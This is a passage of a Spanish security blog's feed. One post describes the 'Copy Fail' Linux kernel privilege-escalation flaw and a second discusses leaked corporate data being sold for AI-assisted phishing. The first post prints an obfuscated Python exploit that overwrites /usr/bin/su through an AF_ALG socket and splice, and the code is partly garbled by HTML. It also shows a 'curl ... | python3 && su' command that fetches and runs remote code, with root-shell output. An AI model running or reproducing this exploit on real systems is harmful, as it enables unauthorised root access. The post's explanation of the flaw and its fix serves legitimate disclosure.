Sin carreras. Sin timing. Sin necesidad de condiciones especiales.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Y, ¿por qué funcionan con tan pocos bytes? Porque la primitiva no es un “write-anything-anywhere” completo. Es más elegante: escritura pequeña pero en un lugar extremadamente sensible.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;En un binario SUID, 4 bytes bastan para: alterar un salto (jmp), saltarse una comprobación y redirigir ejecución.&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind((&quot;aead&quot;,&quot;authencesn(hmac(sha256),cbc(aes))&quot;));h=279;v=a.setsockopt;v(h,1,d(&#39;0800010000000010&#39;+&#39;0&#39;*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d(&#39;00&#39;);u.sendmsg([b&quot;A&quot;*4+c],[(h,3,i*4),(h,2,b&#39;\x10&#39;+i*19),(h,4,b&#39;\x08&#39;+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open(&quot;/usr/bin/su&quot;,0);i=0;e=zlib.decompress(d(&quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&quot;))
while i&lt;len c=&quot;&quot; code=&quot;&quot; e=&quot;&quot; f=&quot;&quot; g.system=&quot;&quot; i:i=&quot;&quot; i=&quot;&quot; su=&quot;&quot;&gt;&lt;/len&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;curl https://copy.fail/exp | python3 &amp;amp;&amp;amp; su&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;id&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;uid=0(root) gid=1002(user) groups=1002(user)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;En conclusión, Copy Fail rompe una suposición crítica: el page cache refleja fielmente el contenido del disco. Puedes tener integridad en disco, firmas válidas y checksums correctos, y aun así ejecutar código que nunca ha existido en el filesystem.&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;El fix (y lo que realmente significa)&lt;/b&gt;&lt;/h3&gt;&lt;div&gt;El parche hace algo aparentemente simple: elimina el modo in-place, fuerza copias explícitas y simplifica el flujo de buffers. Porque como habéis visto la optimización rompía invariantes fundamentales del kernel...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Fuentes:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://xint.io/blog/copy-fail-linux-distributions&quot;&gt;https://xint.io/blog/copy-fail-linux-distributions&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://copy.fail/&quot;&gt;https://copy.fail/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/theori-io/copy-fail-CVE-2026-31431&quot;&gt;https://github.com/theori-io/copy-fail-CVE-2026-31431&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/2960274730714222005/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/copy-fail-732-bytes-para-conseguir-root.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2960274730714222005'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2960274730714222005'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/05/copy-fail-732-bytes-para-conseguir-root.html' title='“Copy Fail” 732 bytes para conseguir root en casi cualquier Linux moderno'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBG7WJRYtPO6S1A5_BwMXZkVJrRBWdtTZKd5BI_LlmxiEpjJbZIG6yOVTcnvJ-isB63BXNXD-Ns57kN5emGOYmVNPfjTNDOJ5OHgbNUS6J5-plLsep6sobADhycLRxBE33bq7mSa1BQGFz4_vlFrlcjhqSKTHv7PfaQPtr71wAKJKBESRE1FXp4yJKtuiw/s72-w640-h482-c/iosplice.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-7023139182868863938</id><published>2026-04-27T23:46:00.000+02:00</published><updated>2026-04-27T23:46:09.880+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="amenazas"/><category scheme="http://www.blogger.com/atom/ns#" term="dark web"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><category scheme="http://www.blogger.com/atom/ns#" term="LLM"/><title type='text'>Lo que se vende de IA en la Dark Web (III) — el mercado negro de datasets</title><content type='html'>&lt;p&gt;Durante los dos artículos anteriores hemos hablado de herramientas como los LLMs sin censura o los deepfakes como servicio. Pero hay algo más importante: &lt;b&gt;los datos&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;La narrativa habitual es simple: modelos cada vez más potentes, ataques cada vez más sofisticados, pero falta una pieza clave. Porque un modelo sin datos es inútil. Y un modelo con &lt;b&gt;datos reales&lt;/b&gt;… cambia todo.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDITX0cH0sTJ0xm_tQUFgtfYAwooEwouSZ7fMgT4Skn1yZxdKYloAaEzyg66TsoylKxiWLcQtjFgKMGxrIvZCBpZcK7nM-AXFFBsKaUZ72FW1GBdhj2CEBjA9-6hckEwmgjwIqIL3DrlT4_MGfgRQDl434EHY82H5ImnY8kC43MdMtF27ieIkGptYwpUqU/s2304/ai_face02.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2304&quot; data-original-width=&quot;1664&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDITX0cH0sTJ0xm_tQUFgtfYAwooEwouSZ7fMgT4Skn1yZxdKYloAaEzyg66TsoylKxiWLcQtjFgKMGxrIvZCBpZcK7nM-AXFFBsKaUZ72FW1GBdhj2CEBjA9-6hckEwmgjwIqIL3DrlT4_MGfgRQDl434EHY82H5ImnY8kC43MdMtF27ieIkGptYwpUqU/s320/ai_face02.jpg&quot; width=&quot;231&quot; /&gt;&lt;/a&gt;&lt;/div&gt;En la dark web ya no solo se venden accesos o credenciales. Se venden datasets. Y no hablamos de ejemplos genéricos, hablamos de: correos corporativos completos,&amp;nbsp; historiales de chat (Slack, Teams, WhatsApp),&amp;nbsp; documentos internos, tickets de soporte, bases de conocimiento empresariales, etc.&lt;p&gt;&lt;/p&gt;&lt;p&gt;Por aclarar, si uno se pasea por foros underground, no encontrará normalmente anuncios que digan “dataset para entrenar IA”. Encontrará algo mucho más familiar: “full corporate email dump”, “customer support logs”, “SQL database leak”. Lo que durante años hemos visto como simple material para acceso o fraude puntual es, en realidad, algo mucho más valioso. Conversaciones completas, lenguaje real, contexto organizativo… todo listo para ser reutilizado. Porque aunque no siempre se vendan como datasets, en la práctica lo son. Y en el momento en el que alguien decide usarlos para entrenar un modelo, dejan de ser un leak… y pasan a ser conocimiento operativo.&lt;/p&gt;&lt;p data-end=&quot;2097&quot; data-start=&quot;1821&quot;&gt;Por ejemplo, un &lt;b&gt;dump de correos corporativos&lt;/b&gt; ya no sirve solo para buscar contraseñas reutilizadas. Sirve para algo más interesante: entender cómo habla una organización. Cómo se redactan los mensajes. Qué tono utilizan los equipos. Cómo escalan problemas. Cómo suena un “correo legítimo”.&lt;/p&gt;&lt;p data-end=&quot;2378&quot; data-start=&quot;2099&quot;&gt;Viejas recopilaciones como la de &lt;strong data-end=&quot;2164&quot; data-start=&quot;2123&quot;&gt;&lt;a href=&quot;https://github.com/jeswingeorge/Enron-Email-Dataset&quot; target=&quot;_blank&quot;&gt;Enron Email Dataset&lt;/a&gt;&lt;/strong&gt;, que durante años ha sido utilizada en entornos académicos, demuestran justo eso: miles de correos reales, con conversaciones completas, decisiones, tensiones, urgencias. Un mapa perfecto del lenguaje corporativo que se puede usar para entrenar modelos.&lt;/p&gt;&lt;p data-end=&quot;2378&quot; data-start=&quot;2099&quot;&gt;&lt;/p&gt;&lt;p data-end=&quot;3641&quot; data-start=&quot;3533&quot;&gt;Por ende, las &lt;b&gt;campañas de phishing &lt;/b&gt;que reutilizan correos reales no son nuevas. Lo que cambia es la escala y la precisión. Tras múltiples brechas corporativas, se han observado ataques donde se citan conversaciones reales, se replican firmas internas e incluso se utilizan referencias válidas&lt;/p&gt;&lt;p data-end=&quot;3641&quot; data-start=&quot;3533&quot;&gt;También, por supuesto, el modelo podrá inferir un&amp;nbsp;&lt;b&gt;mapping interno&lt;/b&gt;&amp;nbsp;de la organización objetivo. Por poner otro caso famoso, el hack de&amp;nbsp;&lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;Sony Pictures en 2014&lt;/span&gt;&amp;nbsp;no solo expuso información sensible, si no también la estructura de la organización. Quién habla con quién, quién toma decisiones, quién valida procesos. A partir de miles de correos o conversaciones, es posible reconstruir un organigrama funcional mucho más preciso que cualquier documento oficial. Y eso tiene un valor enorme: porque cuando sabes cómo fluye la información dentro de una empresa, no necesitas comprometer sistemas. Solo necesitas intervenir en el punto adecuado.&lt;/p&gt;
&lt;p data-end=&quot;4091&quot; data-start=&quot;3816&quot;&gt;Empresas de threat intel como &lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;&lt;span class=&quot;whitespace-normal&quot;&gt;IBM X-Force&lt;/span&gt;&lt;/span&gt; o &lt;span class=&quot;hover:entity-accent entity-underline inline cursor-pointer align-baseline&quot;&gt;&lt;span class=&quot;whitespace-normal&quot;&gt;Trend Micro&lt;/span&gt;&lt;/span&gt; llevan tiempo señalando esta evolución: el uso de datos filtrados no solo como vector de acceso, sino como material de entrenamiento para mejorar la ingeniería social.&lt;/p&gt;
&lt;p data-end=&quot;4222&quot; data-start=&quot;4093&quot;&gt;Y cuando combinas eso con lo que vimos en los artículos anteriores —LLMs sin censura y deepfakes— el resultado es bastante claro.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;El problema que no se puede parchear&lt;/h3&gt;
&lt;p data-end=&quot;1797&quot; data-start=&quot;1739&quot;&gt;El problema es que este tipo de información no se parchea.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p data-end=&quot;1994&quot; data-start=&quot;1799&quot;&gt;Cuando una empresa sufre una brecha, puede resetear credenciales, cerrar accesos o reforzar controles. Pero no puede revertir lo más importante: que su comunicación interna haya quedado expuesta.&lt;/p&gt;&lt;p data-end=&quot;2096&quot; data-start=&quot;1996&quot;&gt;Porque una vez que el lenguaje, el tono y el contexto han sido capturados… ya no se pueden deshacer.&lt;/p&gt;&lt;p data-end=&quot;4547&quot; data-start=&quot;4504&quot;&gt;


&lt;/p&gt;&lt;p data-end=&quot;2255&quot; data-start=&quot;2098&quot;&gt;Y lo que antes era una simple filtración, ahora puede convertirse en algo mucho más persistente: un modelo que aprende cómo eres, cómo hablas y cómo decides.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/7023139182868863938/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/04/lo-que-se-vende-de-ia-en-la-dark-web-iii-datasets.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7023139182868863938'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7023139182868863938'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/04/lo-que-se-vende-de-ia-en-la-dark-web-iii-datasets.html' title='Lo que se vende de IA en la Dark Web (III) — el mercado negro de datasets'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDITX0cH0sTJ0xm_tQUFgtfYAwooEwouSZ7fMgT4Skn1yZxdKYloAaEzyg66TsoylKxiWLcQtjFgKMGxrIvZCBpZcK7nM-AXFFBsKaUZ72FW1GBdhj2CEBjA9-6hckEwmgjwIqIL3DrlT4_MGfgRQDl434EHY82H5ImnY8kC43MdMtF27ieIkGptYwpUqU/s72-c/ai_face02.jpg" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>5R8HHM6X+6F</georss:featurename><georss:point>-23.4394031 151.6986875</georss:point><georss:box>-51.749636936178845 116.5424375 4.8708307361788457 -173.1450625</georss:box></entry></feed>